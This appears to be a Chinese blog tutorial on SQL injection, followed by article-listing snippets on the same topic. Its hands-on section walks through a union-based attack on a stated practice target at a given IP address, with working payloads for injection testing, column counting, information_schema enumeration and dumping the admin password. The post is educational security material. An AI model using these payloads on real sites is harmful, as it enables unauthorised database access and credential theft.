    攻击数据库有很多种注入方式,针对不同的数据库有不同的注入语句,本篇选用SQL的主要目的在于语句便于理解,且SqlServer以及mysql属于主流服务器所用到的数据库软件,还有Oracle等等。

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串(通俗易懂的讲,就是输入网址的那个框框里,在正常网址后面加入一些SQL命令),最终达到欺骗服务器执行恶意SQL命令。比如这样:

    a4aec3fca9a46e1a073e7e921f52c38d.png9db756c421335ba165175b15a71dbaac.png

    举个栗子

    63b47743d9d0fd46711c3d3d39ae1882.png

    还是上面那个栗子:

    读者向图书管理员寻求一本书的时候(通过输入网址,向服务器发送请求),发出一些(恶意)指令。而图书管理员老眼昏花,没有分辨这个要求是好是坏的能力,便去图书馆的系统里查询(执行sql命令),将查出来原本只能内部查阅的书籍交给了这位读者。

    读者指令再恶意一点,图书管理员将图书馆大门的钥匙也放在了书籍里,交给了这位外来读者。

    cc8358e3313022dd4b000c6e2d2fd426.gif

    那么问题来了:SQL命令怎么构造?

    Emmmmm,这个就不是一篇推送能够说清楚的了……

    读懂了上面这些皮毛,就说明你已经正式读懂了web通信的基本原理,还是有些云里雾里?下面就是实战操作。

    af1ddb597b4773bb722cb2860ecb5484.gif

    正片加载中...

    SQL注入实例

    以下操作都是在靶机上执行,公司、网址、人物、故事皆为虚拟。

    c0a880e5bf6b2a5af78c32a991d4505f.png

    鱼日常

    小周自己开了一家公司,费尽心思做了公司的网站,没想到,第二天就忘记了后台管理员账户和密码,她只好求助同事小张……

    以下内容涉及部分sql语句,感兴趣的同学可以百度sql命令,懒得查的同学可以……看个热闹?别走别走!懒得查可以看看网页变化嘛

    公司网站地址:

    http://117.41.229.122:8003/?id=1

    下面就是公司首页啦,可以看到编号为id=1的文章就是“猫舍介绍”

    d0193438eb89abf23204be1729c17f2c.png

    第一步,判断是否存在sql注入漏洞

    既然有id=1,那么通过SQL的逻辑判断,我们接下来可以构造

    ?id=1 and 1=1 

    回车(含义:id=1,并且判断1是否等于1)

    31361afd7c184f6fb282f021d53bacb0.png

    页面返回正常

    构造

    ?id=1 and 1=2 

    回车(1必然不等于2呀,所以可以根据这个来判断是否存在注入漏洞)

    9effd6235721243eeda332b13d6e5bb1.png

    第二步:判断字段数

    构造

    ?id=1 and 1=1 order by 1 

    回车(含义:id=1,并且判断1是否等于1,以1排序)

    1d1bfe0d9db1ca3329dd5e34751e181a.png

    页面正常

    构造

    ?id=1 and 1=1 order by 2 

    回车

    a2b08302fcbdb6f5130f7d3b832f4abc.png

    页面正常

    构造

    ?id=1 and 1=1 order by 3

    回车

    6f053fb44c9ac667b580e6cf2bd59f8c.png

    页面返回 错误,判断字段数为   2

    第三步:判断回显点

    构造

    ?id=1 and 1=2 union select 1,2 

    回车(这块的union用到了联合查询)

    b6c6c54ff84e0e56f7739eda2962dd55.png

    页面出现了2,说明我们可以在数字2处显示我们想要的内容

    第四步:查询相关内容

    查询当前数据库名

    构造

    ?id=1 and 1=2 union select 1,database()

    回车

    d672e92471150d5ebc2593de9c201af9.png

    绝大多数情况下,管理员的账号密码都在admin表里

    查询字段名

    构造

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    回车

    2d0705744e41ba3363398a48a783ef17.png

    构造

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

    回车

    6ce41b93dc87156f4a11bfeef9467d12.png

    构造

    ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 

    回车

    90f00496dc7b7e9f83beb41bab0f27ae.png

    查出 admin 表里 有  id   username  password  三个字段

    查询字段内容

    构造

    ?id=1 and 1=2 union select 1,username from admin  limit 0,1

    回车

    ac6cbba8d3f5ce9f4769efcc04c1f4c7.png

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 1,1 

    回车

    9e1a5c77331f57f81f30077954d2361e.png

    limit 1,1 没有回显,说明只有一个用户

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 0,1

    回车

    1c7f5ba6f9374a342968a8ef20d2382a.png

    得到管理员账号和密码

    就这样,小周找回了她的密码

    是不是很简单,嘻……嘻嘻

    (啊疼疼疼组长别打了!小周真不是你!)

    6a254cfe91f81c5b51ee9c30fac92bb0.pngb2de38ea1e6932861603791a1cdb1dc8.png

    我们好奇,我们探索,我们分享

    欢迎你

    将好玩有趣又实用的科技知识

    分享给我们

    文字整理:刘煜田他不甜吗

    排版:小桌椅

    94afbf5eb32312ebc76dd74c5e9edd6d.gif1abec0aea939c759a8bd4cdc2770d3cc.gif

    点击蓝字关注我们

    展开全文
  • //此处是SQL注入漏洞的关键,因为是字符串的拼接,会使查询语句变为:SELECT * FROM user WHERE username='aaa' OR '' AND password='1651561',此查询语句是可得到结果集的,便出现此漏洞 stat=conn....
  • importjava.sql.Connection;importjava.sql.DriverManager;importjava.sql.PreparedStatement;importjava.sql.ResultSet;importjava.sql.Statement;importjava.util.Scanner;public classLOGO...
  • 实例讲解SQL注入攻击

    2021-02-26 16:10:26
    SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。本...
  • 这是一篇讲解SQL注入实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读。翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。...
  • 下面小编就为大家分享一篇使用keras做SQL注入攻击的判断(实例讲解),具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
  • 这就是SQL注入攻击,通过输入SQL脚本组成连接查询字符串查得全部信息。 预防措施:将输入的 ' 转为' ' ,这样可以影响SQL语句的执行 SqlDataSource1.SelectCommand += "where TName='"+TextBox1.Text....
  • 一、SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,...三、SQL注入攻击实例 比如在一个登录界面,要求输...
  • SQL注入攻击原理与几种防御方式

    千次阅读 2018-11-23 11:37:16
    一、SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录...三、SQL注入攻击实例   比如在一个登录界面,要求输入...
  • SQL注入攻击实例讲解

    千次阅读 2009-11-08 00:36:00
    刚刚高中的一位同学问我一道笔试题:请简述SQL注入攻击及其原理。 (Q:攻击?难道是做黑可吗??)可以把这种行为理解成黑客行径,因为这样做的目的就是“非法获取”。 (Q:怎么做?)可以按照我下面的步骤...
  •  这是一篇讲解SQL注入实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读。翻译水平有限,见谅!   一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透...
  • 要想防止SQL注入,必须得了解怎么进入SQL注入。通过这个简短的案例对SQL注能有更形象的认识,在具体开发的中也很有帮助
  • mybatis SQL注入攻击 以及XSS攻击csrf攻击 以上攻击形式跟原理不多做介绍,此处记录处理方案 SQL注入 问题:系统在经过安全扫描是,被告知存在SQL注入的封信,mybatis的预编译是不存在注入风险的,但是在排序字段的...
  • SQL注入实例

    2018-01-31 10:57:17
    本文主要针对SQL注入的含义、以及如何进行SQL...适用的人群主要是测试人员,了解如何进行SQL注入,可以帮助我们测试登录、发布等模块的SQL攻击漏洞,至于如何预防SQL注入,按理说应该是开发该了解的事情~但是作
  • sql注入大家都不陌生,是一种常见的攻击方式,攻击者在界面的表单信息或url上输入一些奇怪的sql片段,例如“or ‘1'='1'”这样的语句,有可能入侵参数校验不足的应用程序。所以在我们的应用中需要做一些工作,来防备...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 432
精华内容 172
关键字:

sql注入攻击实例